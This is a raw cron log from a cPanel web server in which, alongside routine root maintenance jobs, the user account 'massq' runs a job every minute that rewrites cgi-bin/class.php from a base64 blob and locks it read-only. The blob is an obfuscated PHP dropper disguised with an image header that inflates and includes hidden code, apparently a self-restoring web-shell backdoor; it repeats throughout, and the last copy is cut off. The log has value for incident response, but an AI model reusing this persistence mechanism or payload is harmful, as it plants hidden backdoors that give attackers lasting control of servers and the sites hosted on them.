Aug 31 18:14:01 server CROND[30170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:14:01 server CROND[30171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:15:01 server CROND[30589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:15:01 server CROND[30593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:15:01 server CROND[30598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:15:01 server CROND[30601]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 31 18:15:01 server CROND[30602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:15:01 server CROND[30603]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 18:15:01 server CROND[30604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:15:01 server CROND[30606]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:15:01 server CROND[30607]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 18:15:01 server CROND[30608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:16:01 server CROND[31684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:16:01 server CROND[31685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:16:01 server CROND[31686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:17:02 server CROND[32080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:17:02 server CROND[32081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:17:02 server CROND[32082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:18:01 server CROND[32464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:18:01 server CROND[32463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:18:01 server CROND[32465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:19:01 server CROND[397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:19:01 server CROND[399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:19:01 server CROND[398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:20:01 server CROND[819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:20:01 server CROND[820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:20:01 server CROND[823]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:20:01 server CROND[829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:20:01 server CROND[835]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 18:20:01 server CROND[834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:20:01 server CROND[839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:20:01 server CROND[838]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:20:01 server CROND[837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 18:21:01 server CROND[1972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:21:01 server CROND[1973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:21:01 server CROND[1975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:22:01 server CROND[2383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:22:01 server CROND[2384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:22:01 server CROND[2382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:23:01 server CROND[2794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:23:01 server CROND[2795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:23:01 server CROND[2796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:24:01 server CROND[3181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:24:01 server CROND[3183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 18:24:01 server CROND[3182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:25:01 server CROND[4165]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 18:25:01 server CROND[4168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 18:25:01 server CROND[4170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 18:25:01 server CROND[4180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 18:25:01 server CROND[4183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 18:25:01 server CROND[4182]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 18:25:01 server CROND[4184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUp